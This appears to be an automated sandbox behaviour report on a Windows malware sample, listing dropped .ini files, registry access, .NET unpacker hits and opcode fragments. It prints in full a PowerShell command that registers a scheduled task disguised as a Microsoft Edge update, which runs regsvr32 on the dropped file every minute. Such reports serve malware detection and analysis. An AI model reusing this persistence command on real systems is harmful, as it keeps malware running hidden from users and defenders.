Source: C:\Windows\System32\regsvr32.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: devenum.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: winmm.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: msdmo.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: version.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\81zBpBAWwc.exe

File written: C:\Users\user\AppData\Roaming\ACKq.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\System32\OpenWith.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\7.0\Outlook\Profiles\Outlook

Jump to behavior

Source: 81zBpBAWwc.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 81zBpBAWwc.exe

Static file information: File size 2322503 > 1048576

Source: 81zBpBAWwc.exe

Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x10a000

Source: 81zBpBAWwc.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: kernel32.pdbUGP source: regsvr32.exe, 00000003.00000003.1734850005.000000001C3A0000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000003.1734930307.000000001C460000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744663903.00000149EA410000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744748807.00000149EA4D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: kernelbase.pdbUGP source: regsvr32.exe, 00000003.00000003.1735435044.000000001C680000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000003.1735195226.000000001C3A0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1745138145.00000149EA6F0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744894909.00000149EA410000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: regsvr32.exe, 00000003.00000003.1734494112.000000001C590000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000003.1733761605.000000001C3A0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744046872.00000149EA410000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744297560.00000149EA600000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: OpenWith.exe, 00000004.00000003.1851414734.00000149EABE0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: kernel32.pdb source: regsvr32.exe, 00000003.00000003.1734850005.000000001C3A0000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000003.1734930307.000000001C460000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744663903.00000149EA410000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744748807.00000149EA4D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: regsvr32.exe, 00000003.00000003.1734494112.000000001C590000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000003.1733761605.000000001C3A0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744046872.00000149EA410000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744297560.00000149EA600000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb source: OpenWith.exe, 00000004.00000003.1851414734.00000149EAC00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: OpenWith.exe, 00000004.00000003.1851414734.00000149EABF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: win32u.pdb source: wmpnscfg.exe, 00000009.00000003.1994611962.000001C7BCF80000.00000004.00000001.00020000.00000000.sdmp, wmpnscfg.exe, 00000009.00000003.1994546000.000001C7BCF50000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: win32u.pdbGCTL source: wmpnscfg.exe, 00000009.00000003.1994611962.000001C7BCF80000.00000004.00000001.00020000.00000000.sdmp, wmpnscfg.exe, 00000009.00000003.1994546000.000001C7BCF50000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: kernelbase.pdb source: regsvr32.exe, 00000003.00000003.1735435044.000000001C680000.00000004.00000001.00020000.00000000.sdmp, regsvr32.exe, 00000003.00000003.1735195226.000000001C3A0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1745138145.00000149EA6F0000.00000004.00000001.00020000.00000000.sdmp, OpenWith.exe, 00000004.00000003.1744894909.00000149EA410000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 3.3.regsvr32.exe.2a24f90.7.raw.unpack, Redist.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 3.3.regsvr32.exe.2a24f90.7.raw.unpack, Redist.cs	.Net Code: CoreMain
Source: 3.2.regsvr32.exe.1b580000.3.raw.unpack, Redist.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 3.2.regsvr32.exe.1b580000.3.raw.unpack, Redist.cs	.Net Code: CoreMain
Source: 3.2.regsvr32.exe.12db9ac0.2.raw.unpack, Redist.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 3.2.regsvr32.exe.12db9ac0.2.raw.unpack, Redist.cs	.Net Code: CoreMain
Source: 3.3.regsvr32.exe.2a24f90.6.raw.unpack, Redist.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 3.3.regsvr32.exe.2a24f90.6.raw.unpack, Redist.cs	.Net Code: CoreMain
Source: 3.2.regsvr32.exe.2a24f90.0.raw.unpack, Redist.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 3.2.regsvr32.exe.2a24f90.0.raw.unpack, Redist.cs	.Net Code: CoreMain
Source: 4.3.OpenWith.exe.149eadbaa00.77.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 4.3.OpenWith.exe.149eadbaa00.77.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 4.3.OpenWith.exe.149eadbaa00.43.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 4.3.OpenWith.exe.149eadbaa00.43.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 4.3.OpenWith.exe.149eadbaa00.23.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 4.3.OpenWith.exe.149eadbaa00.23.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 4.3.OpenWith.exe.149eadbaa00.78.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 4.3.OpenWith.exe.149eadbaa00.78.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 4.3.OpenWith.exe.149eadbaa00.48.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 4.3.OpenWith.exe.149eadbaa00.48.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 4.3.OpenWith.exe.149eadbaa00.73.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 4.3.OpenWith.exe.149eadbaa00.73.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 4.3.OpenWith.exe.149eadbaa00.40.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 4.3.OpenWith.exe.149eadbaa00.40.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 4.3.OpenWith.exe.149eadbaa00.36.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 4.3.OpenWith.exe.149eadbaa00.36.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 4.3.OpenWith.exe.149eadbaa00.47.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 4.3.OpenWith.exe.149eadbaa00.47.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 4.3.OpenWith.exe.149eadbaa00.10.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 4.3.OpenWith.exe.149eadbaa00.10.raw.unpack, Runtime.cs	.Net Code: CoreMain

Suspicious powershell command line found

Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{004C0880-8C4C-4CC0-CC40-C80CC800C4C4}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/oc82.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{88C88888-CCCC-4CC8-CCCC-C8CCC8888000}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{004C0880-8C4C-4CC0-CC40-C80CC800C4C4}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/oc82.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{88C88888-CCCC-4CC8-CCCC-C8CCC8888000}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"

Source: 81zBpBAWwc.exe	Static PE information: section name: .xdata
Source: ACKq.ini.0.dr	Static PE information: section name: .xdata

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B6ED2A5 pushad ; iretd	1_2_00007FFD9B6ED2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B8000AD pushad ; iretd	1_2_00007FFD9B8000C1
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_3_1B78430B push eax; retf	3_3_1B78430C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_3_1B7835EC push esi; ret	3_3_1B7835ED
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_3_1B7859E3 push esi; retf	3_3_1B7859E6
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_3_1B7817D5 push cs; ret	3_3_1B7818C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_3_1B781865 push cs; ret	3_3_1B7818C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_3_1B785643 push eax; retf	3_3_1B785645
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_3_1B784427 pushad ; ret	3_3_1B784428
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_3_1B786C12 push edx; retf	3_3_1B786C26
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_3_1B78220B push eax; iretd	3_3_1B782224
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_3_1B7840F7 push eax; ret	3_3_1B7840FB
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_3_1B7862E3 push ebx; ret	3_3_1B7862E6
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_3_1B785ED9 push esi; ret	3_3_1B785EDD
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_3_1B7848BE push eax; retf	3_3_1B7848BF
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_3_1B784EB2 pushad ; retf	3_3_1B784EB3
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1B78430B push eax; retf	3_2_1B78430C
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1B7835EC push esi; ret	3_2_1B7835ED
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1B7859E3 push esi; retf	3_2_1B7859E6
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1B7817D5 push cs; ret	3_2_1B7818C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1B781865 push cs; ret	3_2_1B7818C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1B785643 push eax; retf	3_2_1B785645
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1B784427 pushad ; ret	3_2_1B784428
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1B786C12 push edx; retf	3_2_1B786C26
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1B78220B push eax; iretd	3_2_1B782224
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1B7840F7 push eax; ret	3_2_1B7840FB
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1B7862E3 push ebx; ret	3_2_1B7862E6
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1B785ED9 push esi; ret	3_2_1B785EDD
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1B7848BE push eax; retf	3_2_1B7848BF
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1B784EB2 pushad ; retf	3_2_1B784EB3
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_1BDB2BFD push ecx; retf	3_2_1BDB2C73

Source: C:\Windows\System32\rekeywiz.exe	File created: C:\Users\user\AppData\Roaming\oc82.ini			Jump to dropped file
Source: C:\Users\user\Desktop\81zBpBAWwc.exe	File created: C:\Users\user\AppData\Roaming\ACKq.ini			Jump to dropped file

Source: C:\Users\user\Desktop\81zBpBAWwc.exe	File created: C:\Users\user\AppData\Roaming\ACKq.ini			Jump to dropped file
Source: C:\Windows\System32\rekeywiz.exe	File created: C:\Users\user\AppData\Roaming\oc82.ini			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Windows\System32\regsvr32.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\7A325DEA0591783E6F8D A18D4F6A7A70D2EB4D4A684D361D6613F9CC2B29E83B3767EB5C9BC0795B960D

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
